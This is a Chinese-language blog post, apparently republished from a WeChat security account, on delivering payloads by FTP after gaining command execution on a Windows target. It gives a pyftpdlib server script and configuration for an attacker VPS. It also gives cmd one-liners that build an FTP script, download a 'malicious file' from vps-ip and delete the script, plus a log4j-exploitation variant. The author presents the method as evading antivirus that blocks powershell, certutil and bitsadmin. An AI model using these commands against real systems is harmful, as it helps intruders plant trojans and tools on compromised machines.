基于FTP的载荷投递

admin 2023年1月17日21:45:40评论21 views字数 3181阅读10分36秒阅读模式
基于FTP的载荷投递

转载来源

转载来源"李白你好"。


01 前言

当取得目标系统命令执行权限时,往往需要上传木马及一些内网渗透工具,这时候windows可以使用powershell、certutil、bitsadmin等方式,linux大多使用curl以及wget方式。对于windows而言,常见的几种方法基本都会被杀软拦截,本文旨在于提供一种相对来说不常被拦截的载荷投递方式:FTP投递。


作者:网络安全情报攻防站-嘉宾千载


02 工具准备

FTP服务器


这里FTP服务器有许多种搭建方法,这里提供一种python开启FTP的脚本


需要准备的代码及配置文件


1、ftp_server.py

import requests
import re
import configparser

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler, ThrottledDTPHandler
from pyftpdlib.servers import FTPServer

from setting import ENABLE_ANONYMOUS, ANONYMOUS_PATH, MAX_DOWNLOAD, MAX_UPLOAD, PASSIVE_PORTS, WELCOME_MSG, IP, 
    PORT, MAX_CONS, MAX_PER_IP

def get_myip():
    r = requests.get("http://myip.ipip.net", headers={"User-Agent": "curl/7.29.0"})
    ip = re.search(r"(([01]{0,1}d{0,1}d|2[0-4]d|25[0-5]d).){3}([01]{0,1}d{0,1}d|2[0-4]d|25[0-5]d)",r.text).group()
    return ip


# 新建一个用户组
authorizer = DummyAuthorizer()

# 从文件读取用户账号密码权限配置
config = configparser.ConfigParser()
config.read('user.ini')
user_list = config.sections()
for user in user_list:
    passwd = config[user]["password"]
    perm = config[user]["perm"]
    home_dir = config[user]["home"]
    # 将用户名,密码,指定目录,权限 添加到里面
    authorizer.add_user(user, passwd, homedir=home_dir, perm=perm)

# 添加匿名用户 只需要路径
if ENABLE_ANONYMOUS == 'on':
    authorizer.add_anonymous(ANONYMOUS_PATH)

# 下载上传速度设置
dtp_handler = ThrottledDTPHandler
dtp_handler.read_limit = MAX_DOWNLOAD
dtp_handler.write_limit = MAX_UPLOAD

# 初始化ftp句柄
handler = FTPHandler
handler.authorizer = authorizer
handler.masquerade_address = get_myip()

# 添加被动端口范围
handler.passive_ports = range(PASSIVE_PORTS[0], PASSIVE_PORTS[1])

# 欢迎信息
handler.banner = WELCOME_MSG

# 监听ip 和 端口
server = FTPServer((IP, PORT), handler)

# 最大连接数
server.max_cons = MAX_CONS
server.max_cons_per_ip = MAX_PER_IP

# 开始服务
print('FTP开始服务 ', (IP, PORT))
server.serve_forever()

2、 setting.py

IP = '0.0.0.0'
PORT = '21'
# 上传速度  100kb/s
MAX_UPLOAD = 100 * 1024
# 下载速度 100kb/s
MAX_DOWNLOAD = 100 * 1024
# 最大连接数
MAX_CONS = 100
# 最多IP数
MAX_PER_IP = 10
# 被动端口范围,注意被动端口数量要比最大IP数多,否则可能出现无法连接的情况
PASSIVE_PORTS = (8300, 8500)
# 是否开启匿名访问 on|off
ENABLE_ANONYMOUS = 'on'
# 匿名用户目录
ANONYMOUS_PATH = 'D:\sectools\anonymous'
# 日志文件
LOGING_NAME = 'pyftp.log'
# 欢迎信息
WELCOME_MSG = 'Welcome to my ftp'

3、user.ini

解读:中括号中为用户名,home为该用户的目录,创建多个用户则按下面格式多复制几遍修改一下。例子为创建user1和user2 2个用户,目录分别为user1和user2

[user1]
password=123
perm=elradfmwM
home=D:\user1

[user2]
password=123456
perm=elradfmwM
home=D:\user2

在启用脚本前需要根据自己的情况修改配置文件,创建用户目录(别忘了创建匿名用户目录,在setting.py中写上对应的目录名字)

FTP服务器搭建


1、根据实际情况修改脚本配置文件,上传ftp_server.py、setting.py、user.ini到VPS:

基于FTP的载荷投递

2、 根据配置文件创建用户目录:

基于FTP的载荷投递

3、启动ftp脚本:


python3 ftp_server.py

基于FTP的载荷投递


此时FTP服务器已经搭建成功。

03 载荷投递

1、将需要投递的恶意文件放置在对应用户的目录下:

基于FTP的载荷投递

2、 在拥有命令执行的机器上执行以下命令:

echo open vps-ip > o&echo user anonymous >> o& echo asc >>o&echo prompt >>o&echo mget test.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o

当条件不允许时,也可以逐一执行:

echo open vps-ip > o
echo user anonymous >> o
echo asc >>o
echo prompt >>o
echo mget test.txt >> o
echo quit >> o
ftp -n -s:o
del /F /Q o

基于FTP的载荷投递

VPS上也会有相应记录:

基于FTP的载荷投递


04 附录

当使用log4j反序列化漏洞进行命令执行时,一条命令可能会执行多遍,会影响我们写入ftp配置,这时可以将">>"换为">",每次写入不同的文件,最后用copy命令进行合并即可,具体操作代码如下:

echo open vps-ip > aa1
echo user anonymous > aa2
echo asc > aa3
echo prompt > aa4
echo mget test.txt > aa5
echo quit > aa6
copy /b aa* cc
ftp -n -s:cc
del /F /Q cc

基于FTP的载荷投递

原文始发于微信公众号(字节脉搏实验室):基于FTP的载荷投递

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月17日21:45:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于FTP的载荷投递https://cn-sec.com/archives/1415505.html

发表评论

匿名网友 填写信息